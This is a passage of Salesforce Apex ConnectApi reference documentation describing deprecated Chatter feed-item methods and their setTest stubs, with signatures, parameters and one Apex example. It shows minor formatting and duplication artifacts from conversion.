Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItemsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedItemPage` object to be returned when `getFeedItemsFromFeed` is called with matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `getFeedItemsFromFeed` method is called in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `getFeedItemsFromFilterFeed` method is called in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `getFeedItemsFromFilterFeed` method is called in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `getFeedItemsFromFilterFeedUpdatedSince` method is called in a test context. Use the method with the same parameters or the code throws an exception.

Register a `ConnectApi.FeedItemPage` object to be returned when the matching `getFeedItemsFromFilterFeedUpdatedSince` method is called in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly, result)
Register a ConnectApi.FeedItemPage object to be returned when getFeedItemsUpdatedSince is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestSearchFeedItems(communityId, q, result)
Register a test feed item page to be returned when searchFeedItems(communityId, q) is called during a test.

setTestSearchFeedItems(communityId, q, sortParam, result)
Register a test feed item page to be returned when searchFeedItems(String, String, ConnectApi.FeedSortOrder) is called during a test.

setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)
Register a test feed item page to be returned when searchFeedItems(String, String, String, Integer) is called during a test.

setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)
Register a test feed item page to be returned when searchFeedItems(String, String, String, Integer, ConnectApi.FeedSortOrder) is called during a test.

setTestSearchFeedItemsInFeed(communityId, feedType, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

**deleteFeedItem(communityId, feedItemId)**
Delete a feed item.

**API Version**
28.0–31.0

**Important:** In version 32.0 and later, use deleteFeedElement(communityId, feedElementId).

**Requires Chatter**
Yes

**Signature**
```
public static Void deleteFeedItem(String communityId, String feedItemId)
```

**Parameters**

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedItemId**
Type: String
The ID for a feed item.
Return Value
Type: Void

getCommentsForFeedItem(communityId, feedItemId)
Get comments for a feed item.

API Version
28.0–31.0

⚠️ Important: In version 32.0 and later, use getCommentsForFeedElement(communityId, feedElementId).

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.CommentPage getCommentsForFeedItem(String communityId, String feedItemId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedItemId
Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.CommentPage

getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)
Get a page of comments for a feed item.

API Version
28.0–31.0

⚠️ Important: In version 32.0 and later, use getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize).
Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature

```java
public static ConnectApi.CommentPage getCommentsForFeedItem(String communityId, String feedItemId, String pageParam, Integer pageSize)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **feedItemId**
  - Type: `String`
  - The ID for a feed item.

- **pageParam**
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

Type: `ConnectApi.CommentPage`

```java
getFeedItem(communityId, feedItemId)
```

Get a feed item.

API Version

28.0–31.0

⚠️ Important: In version 32.0 and later, use `getFeedElement(communityId, feedElementId)`.
Requires Chatter
Yes

Signature
public static ConnectApi.FeedItem getFeedItem(String communityId, String feedItemId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedItemId
Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.FeedItem

Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information may not be available in the trigger.

getFeedItemBatch(communityId, feedItemIds)
Get a list of feed items.

API Version
31.0–31.0

Important: In version 32.0 and later, use getFeedElementBatch(communityId, feedElementIds).

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getFeedItemBatch(String communityId, List<String> feedItemIds)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
feedItemIds
Type: List<String>
A list of up to 500 feed item IDs.

Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedItem object and errors for feed items that didn’t load.

Example
```
// Create a list of feed items.
ConnectApi.FeedItemPage feedItemPage = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null, ConnectApi.FeedType.Company);
System.debug(feedItemPage);

// Create a list of feed item IDs.
List<String> feedItemIds = new List<String>();
for (ConnectApi.FeedItem aFeedItem : feedItemPage.items){
    feedItemIds.add(aFeedItem.id);
}

// Get info about the feed items in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterFeeds.getFeedItemBatch(null, feedItemIds);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the header for each feed item.
        ConnectApi.FeedItem aFeedItem;
        if (batchResult.getResult() instanceof ConnectApi.FeedItem) {
            aFeedItem = (ConnectApi.FeedItem) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(aFeedItem.header.text);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

getFeedItemsFromFeed(communityId, feedType)
Get feed items from the Company, Home, and Moderation feeds.

API Version
28.0–31.0
Important: In version 32.0 and later, use `getFeedElementsFromFeed(communityId, feedType)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
    ConnectApi.FeedType feedType)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.
- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

Return Value

Type: `ConnectApi.FeedItemPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetFeedItemsFromFeed(communityId, feedType, result)`
- Testing ConnectApi Code

```java
getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
```

Get a page of sorted feed items from the Company, Home, and Moderation feeds.

API Version

28.0–31.0

Important: In version 32.0 and later, use `getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)`. 
Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedItemPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```Java
setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
```

Testing ConnectApi Code

```Java
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
```

Get a page of sorted feed items from the Company, Home, and Moderation feeds. Each feed item contains no more than the specified number of comments.

API Version

29.0–31.0

⚠️ Important: In version 32.0 and later, use `getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)`.

Available to Guest Users

31.0 only

Requires Chatter

Yes

Signature

```Java
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters

- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  Type: `ConnectApi.FeedType`
  The type of feed. Valid values are Company, DirectMessageModeration, DirectMessages, Home, Moderation, and PendingReview.

- **recentCommentCount**
  Type: Integer
  The maximum number of comments to return with each feed item. The default value is 3.
**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

**Return Value**
Type: `ConnectApi.FeedItemPage`

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
- `setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)`
- `Testing ConnectApi Code`

**getFeedItemsFromFeed(communityId, feedType, subjectId)**
Get feed items from a feed for a user or record.
API Version
28.0–31.0

⚠ Important: In version 32.0 and later, use `getFeedElementsFromFeed(communityId, feedType, subjectId)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
```
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

`feedType`
Type: `ConnectApi.FeedType`
The type of feed. Valid values include every `ConnectApi.FeedType` except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

`subjectId`
Type: `String`
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

Return Value
Type: `ConnectApi.FeedItemPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)

Get a page of sorted feed items from a feed for a user or record.

API Version
28.0–31.0

Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam).

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
**sortParam**

Type: `ConnectApi.FeedSortOrder`

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

**Return Value**

Type: `ConnectApi.FeedItemPage`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Testing ConnectApi Code

`getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)`

Get a page of sorted feed items from a feed for a user or record. Each feed item includes no more than the specified number of comments.

**API Version**

29.0–31.0

**Important:** In version 32.0 and later, use `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)`.

Available to Guest Users

31.0 only

Requires Chatter

Yes
**Signature**

```java
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
               ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
               ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
               ConnectApi.FeedSortOrder sortParam)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values include every `ConnectApi.FeedType` except `Company`, `DirectMessageModeration`, `DirectMessages`, `Filter`, `Home`, `Landing`, `Moderation`, and `PendingReview`.

- **subjectId**
  - Type: `String`
  - If `feedType` is `Record`, `subjectId` can be any record ID, including a group ID. If `feedType` is `Streams`, `subjectId` must be a stream ID. If `feedType` is `Topics`, `subjectId` must be a topic ID. If `feedType` is `UserProfile`, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias `me`.

- **recentCommentCount**
  - Type: `Integer`
  - The maximum number of comments to return with each feed item. The default value is 3.

- **density**
  - Type: `ConnectApi.FeedDensity`
  - Specify the amount of content in a feed.
    - **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
    - **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- **pageParam**
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- **sortParam**
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
    - **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

**Return Value**

Type: `ConnectApi.FeedItemPage`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

**getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)**

Get a page of sorted feed items from a record feed for a user or record. Each feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal (non-Experience Cloud site) users only.

**API Version**

30.0–31.0

**Important:** In version 32.0 and later, use `getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly)`. 

**Available to Guest Users**

31.0 only

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)
```
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
Any record ID, including a group ID.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:

• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Modification, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly, result)
Testing ConnectApi Code

getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)
Get feed items from a feed filtered by a key prefix for a user.

API Version
28.0–31.0

⚠️ Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId, String subjectId, String keyPrefix)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
Return Value
Type: `ConnectApi.FeedItemPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

```
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
```
Get a page of sorted feed items from a feed filtered by a key prefix for a user.

API Version
28.0–31.0

⚠️ Important: In version 32.0 and later, use `getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)`.

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
            String subjectId, String keyPrefix, String pageParam, Integer pageSize,
            ConnectApi.FeedSortOrder sortParam)
```

Parameters

`communityId`
- Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

`subjectId`
- Type: `String`
  - The ID of the context user or the alias `me`.

`keyPrefix`
- Type: `String`
  - A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters

- `communityId`  
  Type: `String`  
  Use the ID for an Experience Cloud site, internal, or `null`.

- `subjectId`  
  Type: `String`  
  The ID of the context user or the alias `me`.

- `keyPrefix`  
  Type: `String`  
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

- `recentCommentCount`  
  Type: `Integer`  
  The maximum number of comments to return with each feed item. The default value is 3.

- `density`  
  Type: `ConnectApi.FeedDensity`  
  Specify the amount of content in a feed.
  - `AllUpdates`—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
  - `FewerUpdates`—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

- `pageParam`  
  Type: `String`  
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- `pageSize`  
  Type: `Integer`  
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- `sortParam`  
  Type: `ConnectApi.FeedSortOrder`  
  Values are:
  - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, result)

getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, updatedSince)

Get a page of feed items from a feed filtered by a key prefix for a user. Include only feed items that have been updated since the time specified in the updatedSince parameter.

API Version
30.0–31.0

Important: In version 32.0 and later, use getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeedUpdatedSince(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)

Parameters
communityId
    Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

**subjectId**
Type: `String`
The ID of the context user or the alias `me`.

**keyPrefix**
Type: `String`
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

**recentCommentCount**
Type: `Integer`
The maximum number of comments to return with each feed item. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
Type: `String`
An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token, call `getFeedItemsFromFilterFeed` and take the value from the `updatesToken` property of the `ConnectApi.FeedItemPage` response body.

**return Value**
Type: `ConnectApi.FeedItemPage`

**Usage**
This method returns only feed items that have been updated since the time specified in the `updatedSince` argument. A feed item is considered to be updated if it was created since the last feed request, or if `sort=LastModifiedDateDesc` and a comment was added to the feed item since the last feed request. Adding likes and topics doesn't update a feed item.
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
- `setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, updatedSince, result)`

**Testing ConnectApi Code**

### `getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)`

Get a page of feed items from the Company, Home, and Moderation feeds. Include only feed items that have been updated since the time specified in the `updatedSince` parameter. Each feed item contains no more than the specified number of comments.

**API Version**

30.0–31.0

**Important:** In version 32.0 and later, use `getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)`.

**Available to Guest Users**

